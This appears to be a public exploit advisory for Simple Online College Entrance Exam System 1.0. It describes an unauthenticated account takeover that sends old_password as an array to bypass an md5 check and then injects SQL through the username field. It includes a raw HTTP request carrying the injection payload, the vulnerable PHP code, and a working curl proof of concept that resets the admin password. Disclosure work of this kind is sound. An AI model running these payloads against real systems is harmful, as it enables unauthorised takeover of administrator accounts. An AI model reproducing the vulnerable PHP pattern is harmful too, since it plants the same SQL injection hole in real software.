Simple Online College Entrance Exam System 1.0 – Account Takeover
# Exploit Title: Simple Online College Entrance Exam System 1.0 - Account Takeover # Date: 07.10.2021 # Exploit Author: Amine ismail @aminei_ # Vendor Homepage: https://www.sourcecodester.com/php/14976/simple-online-college-entrance-exam-system-php-and-sqlite-free-source-code.html # Software Link: https://www.sourcecodester.com/download-code?nid=14976&title=Simple+Online+College+Entrance+Exam+System+in+PHP+and+SQLite+Free+Source+Code # Version: 1.0 # Tested on: Windows 10, Kali Linux # Unauthenticated password change leading to account takeover Explanation: By setting the parameter old_password as array, the MD5 function on it returns null, so md5($old_password) == $_SESSION['password'] since we have no session, thus bypassing the check, after that we can use SQLI and inject our custom data. Request: POST /entrance_exam/Actions.php?a=update_credentials HTTP/1.1 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 129 id=4&username=test',`password`='916b5dbd201b469998d9b4a4c8bc4e08'+WHERE+admin_id=4;%23&password=commented_out&old_password[]=test Vulnerable code in Actions.php: function update_credentials(){ extract($_POST); $data = ""; foreach($_POST as $k => $v){ if(!in_array($k,array('id','old_password')) && !empty($v)){ if(!empty($data)) $data .= ","; if($k == 'password') $v = md5($v); $data .= " `{$k}` = '{$v}' "; } } ... if(!empty($password) && md5($old_password) != $_SESSION['password']){ $resp['status'] = 'failed'; $resp['msg'] = "Old password is incorrect."; }else{ $sql = "UPDATE `admin_list` set {$data} where admin_id = '{$_SESSION['admin_id']}'"; @$save = $this->query($sql); PoC that changes the password and username of user 'admin' to 'exploitdb': curl -d "username=exploitdb',%60password%60='916b5dbd201b469998d9b4a4c8bc4e08' WHERE admin_id=1;%23&password=useless&old_password[]=useless" -X POST 'http://127.0.0.1/entrance_exam/Actions.php?a=update_credentials' |